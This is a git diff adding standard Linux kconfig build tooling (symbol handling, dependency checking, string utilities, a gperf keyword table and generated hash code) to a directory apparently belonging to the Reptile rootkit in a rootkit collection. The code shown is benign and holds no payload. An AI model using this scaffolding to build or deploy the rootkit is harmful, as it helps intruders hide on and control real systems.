+ + symbol = xmalloc(sizeof(*symbol)); + memset(symbol, 0, sizeof(*symbol)); + symbol->name = new_name; + symbol->type = S_UNKNOWN; + symbol->flags |= flags; + + symbol->next = symbol_hash[hash]; + symbol_hash[hash] = symbol; + + return symbol; +} + +struct symbol *sym_find(const char *name) +{ + struct symbol *symbol = NULL; + int hash = 0; + + if (!name) + return NULL; + + if (name[0] && !name[1]) { + switch (name[0]) { + case 'y': return &symbol_yes; + case 'm': return &symbol_mod; + case 'n': return &symbol_no; + } + } + hash = strhash(name) % SYMBOL_HASHSIZE; + + for (symbol = symbol_hash[hash]; symbol; symbol = symbol->next) { + if (symbol->name && + !strcmp(symbol->name, name) && + !(symbol->flags & SYMBOL_CONST)) + break; + } + + return symbol; +} + +/* + * Expand symbol's names embedded in the string given in argument. Symbols' + * name to be expanded shall be prefixed by a '$'. Unknown symbol expands to + * the empty string. + */ +const char *sym_expand_string_value(const char *in) +{ + const char *src; + char *res; + size_t reslen; + + reslen = strlen(in) + 1; + res = xmalloc(reslen); + res[0] = '\0'; + + while ((src = strchr(in, '$'))) { + char *p, name[SYMBOL_MAXLENGTH]; + const char *symval = ""; + struct symbol *sym; + size_t newlen; + + strncat(res, in, src - in); + src++; + + p = name; + while (isalnum(*src) || *src == '_') + *p++ = *src++; + *p = '\0'; + + sym = sym_find(name); + if (sym != NULL) { + sym_calc_value(sym); + symval = sym_get_string_value(sym); + } + + newlen = strlen(res) + strlen(symval) + strlen(src) + 1; + if (newlen > reslen) { + reslen = newlen; + res = realloc(res, reslen); + } + + strcat(res, symval); + in = src; + } + strcat(res, in); + + return res; +} + +const char *sym_escape_string_value(const char *in) +{ + const char *p; + size_t reslen; + char *res; + size_t l; + + reslen = strlen(in) + strlen("\"\"") + 1; + + p = in; + for (;;) { + l = strcspn(p, "\"\\"); + p += l; + + if (p[0] == '\0') + break; + + reslen++; + p++; + } + + res = xmalloc(reslen); + res[0] = '\0'; + + strcat(res, "\""); + + p = in; + for (;;) { + l = strcspn(p, "\"\\"); + strncat(res, p, l); + p += l; + + if (p[0] == '\0') + break; + + strcat(res, "\\"); + strncat(res, p++, 1); + } + + strcat(res, "\""); + return res; +} + +struct sym_match { + struct symbol *sym; + off_t so, eo; +}; + +/* Compare matched symbols as thus: + * - first, symbols that match exactly + * - then, alphabetical sort + */ +static int sym_rel_comp(const void *sym1, const void *sym2) +{ + const struct sym_match *s1 = sym1; + const struct sym_match *s2 = sym2; + int exact1, exact2; + + /* Exact match: + * - if matched length on symbol s1 is the length of that symbol, + * then this symbol should come first; + * - if matched length on symbol s2 is the length of that symbol, + * then this symbol should come first. + * Note: since the search can be a regexp, both symbols may match + * exactly; if this is the case, we can't decide which comes first, + * and we fallback to sorting alphabetically. + */ + exact1 = (s1->eo - s1->so) == strlen(s1->sym->name); + exact2 = (s2->eo - s2->so) == strlen(s2->sym->name); + if (exact1 && !exact2) + return -1; + if (!exact1 && exact2) + return 1; + + /* As a fallback, sort symbols alphabetically */ + return strcmp(s1->sym->name, s2->sym->name); +} + +struct symbol **sym_re_search(const char *pattern) +{ + struct symbol *sym, **sym_arr = NULL; + struct sym_match *sym_match_arr = NULL; + int i, cnt, size; + regex_t re; + regmatch_t match[1]; + + cnt = size = 0; + /* Skip if empty */ + if (strlen(pattern) == 0) + return NULL; + if (regcomp(&re, pattern, REG_EXTENDED|REG_ICASE)) + return NULL; + + for_all_symbols(i, sym) { + if (sym->flags & SYMBOL_CONST || !sym->name) + continue; + if (regexec(&re, sym->name, 1, match, 0)) + continue; + if (cnt >= size) { + void *tmp; + size += 16; + tmp = realloc(sym_match_arr, size * sizeof(struct sym_match)); + if (!tmp) + goto sym_re_search_free; + sym_match_arr = tmp; + } + sym_calc_value(sym); + /* As regexec returned 0, we know we have a match, so + * we can use match[0].rm_[se]o without further checks + */ + sym_match_arr[cnt].so = match[0].rm_so; + sym_match_arr[cnt].eo = match[0].rm_eo; + sym_match_arr[cnt++].sym = sym; + } + if (sym_match_arr) { + qsort(sym_match_arr, cnt, sizeof(struct sym_match), sym_rel_comp); + sym_arr = malloc((cnt+1) * sizeof(struct symbol)); + if (!sym_arr) + goto sym_re_search_free; + for (i = 0; i < cnt; i++) + sym_arr[i] = sym_match_arr[i].sym; + sym_arr[cnt] = NULL; + } +sym_re_search_free: + /* sym_match_arr can be NULL if no match, but free(NULL) is OK */ + free(sym_match_arr); + regfree(&re); + + return sym_arr; +} + +/* + * When we check for recursive dependencies we use a stack to save + * current state so we can print out relevant info to user. + * The entries are located on the call stack so no need to free memory. + * Note insert() remove() must always match to properly clear the stack. + */ +static struct dep_stack { + struct dep_stack *prev, *next; + struct symbol *sym; + struct property *prop; + struct expr *expr; +} *check_top; + +static void dep_stack_insert(struct dep_stack *stack, struct symbol *sym) +{ + memset(stack, 0, sizeof(*stack)); + if (check_top) + check_top->next = stack; + stack->prev = check_top; + stack->sym = sym; + check_top = stack; +} + +static void dep_stack_remove(void) +{ + check_top = check_top->prev; + if (check_top) + check_top->next = NULL; +} + +/* + * Called when we have detected a recursive dependency. + * check_top point to the top of the stact so we use + * the ->prev pointer to locate the bottom of the stack. + */ +static void sym_check_print_recursive(struct symbol *last_sym) +{ + struct dep_stack *stack; + struct symbol *sym, *next_sym; + struct menu *menu = NULL; + struct property *prop; + struct dep_stack cv_stack; + + if (sym_is_choice_value(last_sym)) { + dep_stack_insert(&cv_stack, last_sym); + last_sym = prop_get_symbol(sym_get_choice_prop(last_sym)); + } + + for (stack = check_top; stack != NULL; stack = stack->prev) + if (stack->sym == last_sym) + break; + if (!stack) { + fprintf(stderr, "unexpected recursive dependency error\n"); + return; + } + + for (; stack; stack = stack->next) { + sym = stack->sym; + next_sym = stack->next ? stack->next->sym : last_sym; + prop = stack->prop; + if (prop == NULL) + prop = stack->sym->prop; + + /* for choice values find the menu entry (used below) */ + if (sym_is_choice(sym) || sym_is_choice_value(sym)) { + for (prop = sym->prop; prop; prop = prop->next) { + menu = prop->menu; + if (prop->menu) + break; + } + } + if (stack->sym == last_sym) + fprintf(stderr, "%s:%d:error: recursive dependency detected!\n", + prop->file->name, prop->lineno); + if (stack->expr) { + fprintf(stderr, "%s:%d:\tsymbol %s %s value contains %s\n", + prop->file->name, prop->lineno, + sym->name ? sym->name : "", + prop_get_type_name(prop->type), + next_sym->name ? next_sym->name : ""); + } else if (stack->prop) { + fprintf(stderr, "%s:%d:\tsymbol %s depends on %s\n", + prop->file->name, prop->lineno, + sym->name ? sym->name : "", + next_sym->name ? next_sym->name : ""); + } else if (sym_is_choice(sym)) { + fprintf(stderr, "%s:%d:\tchoice %s contains symbol %s\n", + menu->file->name, menu->lineno, + sym->name ? sym->name : "", + next_sym->name ? next_sym->name : ""); + } else if (sym_is_choice_value(sym)) { + fprintf(stderr, "%s:%d:\tsymbol %s is part of choice %s\n", + menu->file->name, menu->lineno, + sym->name ? sym->name : "", + next_sym->name ? next_sym->name : ""); + } else { + fprintf(stderr, "%s:%d:\tsymbol %s is selected by %s\n", + prop->file->name, prop->lineno, + sym->name ? sym->name : "", + next_sym->name ? next_sym->name : ""); + } + } + + if (check_top == &cv_stack) + dep_stack_remove(); +} + +static struct symbol *sym_check_expr_deps(struct expr *e) +{ + struct symbol *sym; + + if (!e) + return NULL; + switch (e->type) { + case E_OR: + case E_AND: + sym = sym_check_expr_deps(e->left.expr); + if (sym) + return sym; + return sym_check_expr_deps(e->right.expr); + case E_NOT: + return sym_check_expr_deps(e->left.expr); + case E_EQUAL: + case E_UNEQUAL: + sym = sym_check_deps(e->left.sym); + if (sym) + return sym; + return sym_check_deps(e->right.sym); + case E_SYMBOL: + return sym_check_deps(e->left.sym); + default: + break; + } + printf("Oops! How to check %d?\n", e->type); + return NULL; +} + +/* return NULL when dependencies are OK */ +static struct symbol *sym_check_sym_deps(struct symbol *sym) +{ + struct symbol *sym2; + struct property *prop; + struct dep_stack stack; + + dep_stack_insert(&stack, sym); + + sym2 = sym_check_expr_deps(sym->rev_dep.expr); + if (sym2) + goto out; + + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->type == P_CHOICE || prop->type == P_SELECT) + continue; + stack.prop = prop; + sym2 = sym_check_expr_deps(prop->visible.expr); + if (sym2) + break; + if (prop->type != P_DEFAULT || sym_is_choice(sym)) + continue; + stack.expr = prop->expr; + sym2 = sym_check_expr_deps(prop->expr); + if (sym2) + break; + stack.expr = NULL; + } + +out: + dep_stack_remove(); + + return sym2; +} + +static struct symbol *sym_check_choice_deps(struct symbol *choice) +{ + struct symbol *sym, *sym2; + struct property *prop; + struct expr *e; + struct dep_stack stack; + + dep_stack_insert(&stack, choice); + + prop = sym_get_choice_prop(choice); + expr_list_for_each_sym(prop->expr, e, sym) + sym->flags |= (SYMBOL_CHECK | SYMBOL_CHECKED); + + choice->flags |= (SYMBOL_CHECK | SYMBOL_CHECKED); + sym2 = sym_check_sym_deps(choice); + choice->flags &= ~SYMBOL_CHECK; + if (sym2) + goto out; + + expr_list_for_each_sym(prop->expr, e, sym) { + sym2 = sym_check_sym_deps(sym); + if (sym2) + break; + } +out: + expr_list_for_each_sym(prop->expr, e, sym) + sym->flags &= ~SYMBOL_CHECK; + + if (sym2 && sym_is_choice_value(sym2) && + prop_get_symbol(sym_get_choice_prop(sym2)) == choice) + sym2 = choice; + + dep_stack_remove(); + + return sym2; +} + +struct symbol *sym_check_deps(struct symbol *sym) +{ + struct symbol *sym2; + struct property *prop; + + if (sym->flags & SYMBOL_CHECK) { + sym_check_print_recursive(sym); + return sym; + } + if (sym->flags & SYMBOL_CHECKED) + return NULL; + + if (sym_is_choice_value(sym)) { + struct dep_stack stack; + + /* for choice groups start the check with main choice symbol */ + dep_stack_insert(&stack, sym); + prop = sym_get_choice_prop(sym); + sym2 = sym_check_deps(prop_get_symbol(prop)); + dep_stack_remove(); + } else if (sym_is_choice(sym)) { + sym2 = sym_check_choice_deps(sym); + } else { + sym->flags |= (SYMBOL_CHECK | SYMBOL_CHECKED); + sym2 = sym_check_sym_deps(sym); + sym->flags &= ~SYMBOL_CHECK; + } + + if (sym2 && sym2 == sym) + sym2 = NULL; + + return sym2; +} + +struct property *prop_alloc(enum prop_type type, struct symbol *sym) +{ + struct property *prop; + struct property **propp; + + prop = xmalloc(sizeof(*prop)); + memset(prop, 0, sizeof(*prop)); + prop->type = type; + prop->sym = sym; + prop->file = current_file; + prop->lineno = zconf_lineno(); + + /* append property to the prop list of symbol */ + if (sym) { + for (propp = &sym->prop; *propp; propp = &(*propp)->next) + ; + *propp = prop; + } + + return prop; +} + +struct symbol *prop_get_symbol(struct property *prop) +{ + if (prop->expr && (prop->expr->type == E_SYMBOL || + prop->expr->type == E_LIST)) + return prop->expr->left.sym; + return NULL; +} + +const char *prop_get_type_name(enum prop_type type) +{ + switch (type) { + case P_PROMPT: + return "prompt"; + case P_ENV: + return "env"; + case P_COMMENT: + return "comment"; + case P_MENU: + return "menu"; + case P_DEFAULT: + return "default"; + case P_CHOICE: + return "choice"; + case P_SELECT: + return "select"; + case P_RANGE: + return "range"; + case P_SYMBOL: + return "symbol"; + case P_UNKNOWN: + break; + } + return "unknown"; +} + +static void prop_add_env(const char *env) +{ + struct symbol *sym, *sym2; + struct property *prop; + char *p; + + sym = current_entry->sym; + sym->flags |= SYMBOL_AUTO; + for_all_properties(sym, prop, P_ENV) { + sym2 = prop_get_symbol(prop); + if (strcmp(sym2->name, env)) + menu_warn(current_entry, "redefining environment symbol from %s", + sym2->name); + return; + } + + prop = prop_alloc(P_ENV, sym); + prop->expr = expr_alloc_symbol(sym_lookup(env, SYMBOL_CONST)); + + sym_env_list = expr_alloc_one(E_LIST, sym_env_list); + sym_env_list->right.sym = sym; + + p = getenv(env); + if (p) + sym_add_default(sym, p); + else + menu_warn(current_entry, "environment variable %s undefined", env); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/util.c b/Linux/Rootkits/Reptile/scripts/kconfig/util.c new file mode 100644 index 0000000..60eb566 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/util.c @@ -0,0 +1,171 @@ +/* + * Copyright (C) 2002-2005 Roman Zippel + * Copyright (C) 2002-2005 Sam Ravnborg + * + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include "lkc.h" + +/* file already present in list? If not add it */ +struct file *file_lookup(const char *name) +{ + struct file *file; + const char *file_name = sym_expand_string_value(name); + + for (file = file_list; file; file = file->next) { + if (!strcmp(name, file->name)) { + free((void *)file_name); + return file; + } + } + + file = xmalloc(sizeof(*file)); + memset(file, 0, sizeof(*file)); + file->name = file_name; + file->next = file_list; + file_list = file; + return file; +} + +/* write a dependency file as used by kbuild to track dependencies */ +int file_write_dep(const char *name) +{ + char *str; + char buf[PATH_MAX+1], buf2[PATH_MAX+1], dir[PATH_MAX+1]; + struct symbol *sym, *env_sym; + struct expr *e; + struct file *file; + FILE *out; + + if (!name) + name = ".kconfig.d"; + + strcpy(dir, conf_get_configname()); + str = strrchr(dir, '/'); + if (str) + str[1] = 0; + else + dir[0] = 0; + + sprintf(buf, "%s..config.tmp", dir); + out = fopen(buf, "w"); + if (!out) + return 1; + fprintf(out, "deps_config := \\\n"); + for (file = file_list; file; file = file->next) { + if (file->next) + fprintf(out, "\t%s \\\n", file->name); + else + fprintf(out, "\t%s\n", file->name); + } + fprintf(out, "\n%s: \\\n" + "\t$(deps_config)\n\n", conf_get_autoconfig_name()); + + expr_list_for_each_sym(sym_env_list, e, sym) { + struct property *prop; + const char *value; + + prop = sym_get_env_prop(sym); + env_sym = prop_get_symbol(prop); + if (!env_sym) + continue; + value = getenv(env_sym->name); + if (!value) + value = ""; + fprintf(out, "ifneq \"$(%s)\" \"%s\"\n", env_sym->name, value); + fprintf(out, "%s: FORCE\n", conf_get_autoconfig_name()); + fprintf(out, "endif\n"); + } + + fprintf(out, "\n$(deps_config): ;\n"); + fclose(out); + sprintf(buf2, "%s%s", dir, name); + rename(buf, buf2); + return 0; +} + + +/* Allocate initial growable string */ +struct gstr str_new(void) +{ + struct gstr gs; + gs.s = xmalloc(sizeof(char) * 64); + gs.len = 64; + gs.max_width = 0; + strcpy(gs.s, "\0"); + return gs; +} + +/* Allocate and assign growable string */ +struct gstr str_assign(const char *s) +{ + struct gstr gs; + gs.s = strdup(s); + gs.len = strlen(s) + 1; + gs.max_width = 0; + return gs; +} + +/* Free storage for growable string */ +void str_free(struct gstr *gs) +{ + if (gs->s) + free(gs->s); + gs->s = NULL; + gs->len = 0; +} + +/* Append to growable string */ +void str_append(struct gstr *gs, const char *s) +{ + size_t l; + if (s) { + l = strlen(gs->s) + strlen(s) + 1; + if (l > gs->len) { + gs->s = realloc(gs->s, l); + gs->len = l; + } + strcat(gs->s, s); + } +} + +/* Append printf formatted string to growable string */ +void str_printf(struct gstr *gs, const char *fmt, ...) +{ + va_list ap; + char s[10000]; /* big enough... */ + va_start(ap, fmt); + vsnprintf(s, sizeof(s), fmt, ap); + str_append(gs, s); + va_end(ap); +} + +/* Retrieve value of growable string */ +const char *str_get(struct gstr *gs) +{ + return gs->s; +} + +void *xmalloc(size_t size) +{ + void *p = malloc(size); + if (p) + return p; + fprintf(stderr, "Out of memory.\n"); + exit(1); +} + +void *xcalloc(size_t nmemb, size_t size) +{ + void *p = calloc(nmemb, size); + if (p) + return p; + fprintf(stderr, "Out of memory.\n"); + exit(1); +} + + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/zconf.gperf b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.gperf new file mode 100644 index 0000000..f14ab41 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.gperf @@ -0,0 +1,47 @@ +%language=ANSI-C +%define hash-function-name kconf_id_hash +%define lookup-function-name kconf_id_lookup +%define string-pool-name kconf_id_strings +%compare-strncmp +%enum +%pic +%struct-type + +struct kconf_id; + +static const struct kconf_id *kconf_id_lookup(register const char *str, register unsigned int len); + +%% +mainmenu, T_MAINMENU, TF_COMMAND +menu, T_MENU, TF_COMMAND +endmenu, T_ENDMENU, TF_COMMAND +source, T_SOURCE, TF_COMMAND +choice, T_CHOICE, TF_COMMAND +endchoice, T_ENDCHOICE, TF_COMMAND +comment, T_COMMENT, TF_COMMAND +config, T_CONFIG, TF_COMMAND +menuconfig, T_MENUCONFIG, TF_COMMAND +help, T_HELP, TF_COMMAND +if, T_IF, TF_COMMAND|TF_PARAM +endif, T_ENDIF, TF_COMMAND +depends, T_DEPENDS, TF_COMMAND +optional, T_OPTIONAL, TF_COMMAND +default, T_DEFAULT, TF_COMMAND, S_UNKNOWN +prompt, T_PROMPT, TF_COMMAND +tristate, T_TYPE, TF_COMMAND, S_TRISTATE +def_tristate, T_DEFAULT, TF_COMMAND, S_TRISTATE +bool, T_TYPE, TF_COMMAND, S_BOOLEAN +boolean, T_TYPE, TF_COMMAND, S_BOOLEAN +def_bool, T_DEFAULT, TF_COMMAND, S_BOOLEAN +int, T_TYPE, TF_COMMAND, S_INT +hex, T_TYPE, TF_COMMAND, S_HEX +string, T_TYPE, TF_COMMAND, S_STRING +select, T_SELECT, TF_COMMAND +range, T_RANGE, TF_COMMAND +visible, T_VISIBLE, TF_COMMAND +option, T_OPTION, TF_COMMAND +on, T_ON, TF_PARAM +modules, T_OPT_MODULES, TF_OPTION +defconfig_list, T_OPT_DEFCONFIG_LIST,TF_OPTION +env, T_OPT_ENV, TF_OPTION +%% diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/zconf.hash.c_shipped b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.hash.c_shipped new file mode 100644 index 0000000..40df000 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.hash.c_shipped @@ -0,0 +1,286 @@ +/* ANSI-C code produced by gperf version 3.0.4 */ +/* Command-line: gperf -t --output-file scripts/kconfig/zconf.hash.c_shipped -a -C -E -g -k '1,3,$' -p -t scripts/kconfig/zconf.gperf */ + +#if !((' ' == 32) && ('!' == 33) && ('"' == 34) && ('#' == 35) \ + && ('%' == 37) && ('&' == 38) && ('\'' == 39) && ('(' == 40) \ + && (')' == 41) && ('*' == 42) && ('+' == 43) && (',' == 44) \ + && ('-' == 45) && ('.' == 46) && ('/' == 47) && ('0' == 48) \ + && ('1' == 49) && ('2' == 50) && ('3' == 51) && ('4' == 52) \ + && ('5' == 53) && ('6' == 54) && ('7' == 55) && ('8' == 56) \ + && ('9' == 57) && (':' == 58) && (';' == 59) && ('<' == 60) \ + && ('=' == 61) && ('>' == 62) && ('?' == 63) && ('A' == 65) \ + && ('B' == 66) && ('C' == 67) && ('D' == 68) && ('E' == 69) \ + && ('F' == 70) && ('G' == 71) && ('H' == 72) && ('I' == 73) \ + && ('J' == 74) && ('K' == 75) && ('L' == 76) && ('M' == 77) \ + && ('N' == 78) && ('O' == 79) && ('P' == 80) && ('Q' == 81) \ + && ('R' == 82) && ('S' == 83) && ('T' == 84) && ('U' == 85) \ + && ('V' == 86) && ('W' == 87) && ('X' == 88) && ('Y' == 89) \ + && ('Z' == 90) && ('[' == 91) && ('\\' == 92) && (']' == 93) \ + && ('^' == 94) && ('_' == 95) && ('a' == 97) && ('b' == 98) \ + && ('c' == 99) && ('d' == 100) && ('e' == 101) && ('f' == 102) \ + && ('g' == 103) && ('h' == 104) && ('i' == 105) && ('j' == 106) \ + && ('k' == 107) && ('l' == 108) && ('m' == 109) && ('n' == 110) \ + && ('o' == 111) && ('p' == 112) && ('q' == 113) && ('r' == 114) \ + && ('s' == 115) && ('t' == 116) && ('u' == 117) && ('v' == 118) \ + && ('w' == 119) && ('x' == 120) && ('y' == 121) && ('z' == 122) \ + && ('{' == 123) && ('|' == 124) && ('}' == 125) && ('~' == 126)) +/* The character set is not based on ISO-646. */ +#error "gperf generated tables don't work with this execution character set. Please report a bug to ." +#endif + +#line 10 "scripts/kconfig/zconf.gperf" +struct kconf_id; + +static const struct kconf_id *kconf_id_lookup(register const char *str, register unsigned int len); +/* maximum key range = 71, duplicates = 0 */ + +#ifdef __GNUC__ +__inline +#else +#ifdef __cplusplus +inline +#endif +#endif +static unsigned int +kconf_id_hash (register const char *str, register unsigned int len) +{ + static const unsigned char asso_values[] = + { + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 25, 25, + 0, 0, 0, 5, 0, 0, 73, 73, 5, 0, + 10, 5, 45, 73, 20, 20, 0, 15, 15, 73, + 20, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73 + }; + register int hval = len; + + switch (hval) + { + default: + hval += asso_values[(unsigned char)str[2]]; + /*FALLTHROUGH*/ + case 2: + case 1: + hval += asso_values[(unsigned char)str[0]]; + break; + } + return hval + asso_values[(unsigned char)str[len - 1]]; +} + +struct kconf_id_strings_t + { + char kconf_id_strings_str2[sizeof("if")]; + char kconf_id_strings_str3[sizeof("int")]; + char kconf_id_strings_str5[sizeof("endif")]; + char kconf_id_strings_str7[sizeof("default")]; + char kconf_id_strings_str8[sizeof("tristate")]; + char kconf_id_strings_str9[sizeof("endchoice")]; + char kconf_id_strings_str12[sizeof("def_tristate")]; + char kconf_id_strings_str13[sizeof("def_bool")]; + char kconf_id_strings_str14[sizeof("defconfig_list")]; + char kconf_id_strings_str17[sizeof("on")]; + char kconf_id_strings_str18[sizeof("optional")]; + char kconf_id_strings_str21[sizeof("option")]; + char kconf_id_strings_str22[sizeof("endmenu")]; + char kconf_id_strings_str23[sizeof("mainmenu")]; + char kconf_id_strings_str25[sizeof("menuconfig")]; + char kconf_id_strings_str27[sizeof("modules")]; + char kconf_id_strings_str29[sizeof("menu")]; + char kconf_id_strings_str31[sizeof("select")]; + char kconf_id_strings_str32[sizeof("comment")]; + char kconf_id_strings_str33[sizeof("env")]; + char kconf_id_strings_str35[sizeof("range")]; + char kconf_id_strings_str36[sizeof("choice")]; + char kconf_id_strings_str39[sizeof("bool")]; + char kconf_id_strings_str41[sizeof("source")]; + char kconf_id_strings_str42[sizeof("visible")]; + char kconf_id_strings_str43[sizeof("hex")]; + char kconf_id_strings_str46[sizeof("config")]; + char kconf_id_strings_str47[sizeof("boolean")]; + char kconf_id_strings_str51[sizeof("string")]; + char kconf_id_strings_str54[sizeof("help")]; + char kconf_id_strings_str56[sizeof("prompt")]; + char kconf_id_strings_str72[sizeof("depends")]; + }; +static const struct kconf_id_strings_t kconf_id_strings_contents = + { + "if", + "int", + "endif", + "default", + "tristate", + "endchoice", + "def_tristate", + "def_bool", + "defconfig_list", + "on", + "optional", + "option", + "endmenu", + "mainmenu", + "menuconfig", + "modules", + "menu", + "select", + "comment", + "env", + "range", + "choice", + "bool", + "source", + "visible", + "hex", + "config", + "boolean", + "string", + "help", + "prompt", + "depends" + }; +#define kconf_id_strings ((const char *) &kconf_id_strings_contents) +#ifdef __GNUC__ +__inline +#if defined __GNUC_STDC_INLINE__ || defined __GNUC_GNU_INLINE__ +__attribute__ ((__gnu_inline__)) +#endif +#endif +const struct kconf_id * +kconf_id_lookup (register const char *str, register unsigned int len) +{ + enum + { + TOTAL_KEYWORDS = 32, + MIN_WORD_LENGTH = 2, + MAX_WORD_LENGTH = 14, + MIN_HASH_VALUE = 2, + MAX_HASH_VALUE = 72 + }; + + static const struct kconf_id wordlist[] = + { + {-1}, {-1}, +#line 25 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str2, T_IF, TF_COMMAND|TF_PARAM}, +#line 36 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str3, T_TYPE, TF_COMMAND, S_INT}, + {-1}, +#line 26 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str5, T_ENDIF, TF_COMMAND}, + {-1}, +#line 29 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str7, T_DEFAULT, TF_COMMAND, S_UNKNOWN}, +#line 31 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str8, T_TYPE, TF_COMMAND, S_TRISTATE}, +#line 20 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str9, T_ENDCHOICE, TF_COMMAND}, + {-1}, {-1}, +#line 32 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str12, T_DEFAULT, TF_COMMAND, S_TRISTATE}, +#line 35 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str13, T_DEFAULT, TF_COMMAND, S_BOOLEAN}, +#line 45 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str14, T_OPT_DEFCONFIG_LIST,TF_OPTION}, + {-1}, {-1}, +#line 43 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str17, T_ON, TF_PARAM}, +#line 28 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str18, T_OPTIONAL, TF_COMMAND}, + {-1}, {-1}, +#line 42 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str21, T_OPTION, TF_COMMAND}, +#line 17 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str22, T_ENDMENU, TF_COMMAND}, +#line 15 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str23, T_MAINMENU, TF_COMMAND}, + {-1}, +#line 23 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str25, T_MENUCONFIG, TF_COMMAND}, + {-1}, +#line 44 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str27, T_OPT_MODULES, TF_OPTION}, + {-1}, +#line 16 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str29, T_MENU, TF_COMMAND}, + {-1}, +#line 39 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str31, T_SELECT, TF_COMMAND}, +#line 21 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str32, T_COMMENT, TF_COMMAND}, +#line 46 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str33, T_OPT_ENV, TF_OPTION}, + {-1}, +#line 40 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str35, T_RANGE, TF_COMMAND}, +#line 19 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str36, T_CHOICE, TF_COMMAND}, + {-1}, {-1}, +#line 33 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str39, T_TYPE, TF_COMMAND, S_BOOLEAN}, + {-1}, +#line 18 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str41, T_SOURCE, TF_COMMAND}, +#line 41 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str42, T_VISIBLE, TF_COMMAND}, +#line 37 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str43, T_TYPE, TF_COMMAND, S_HEX}, + {-1}, {-1}, +#line 22 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str46, T_CONFIG, TF_COMMAND}, +#line 34 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str47, T_TYPE, TF_COMMAND, S_BOOLEAN}, + {-1}, {-1}, {-1}, +#line 38 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str51, T_TYPE, TF_COMMAND, S_STRING}, + {-1}, {-1}, +#line 24 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct 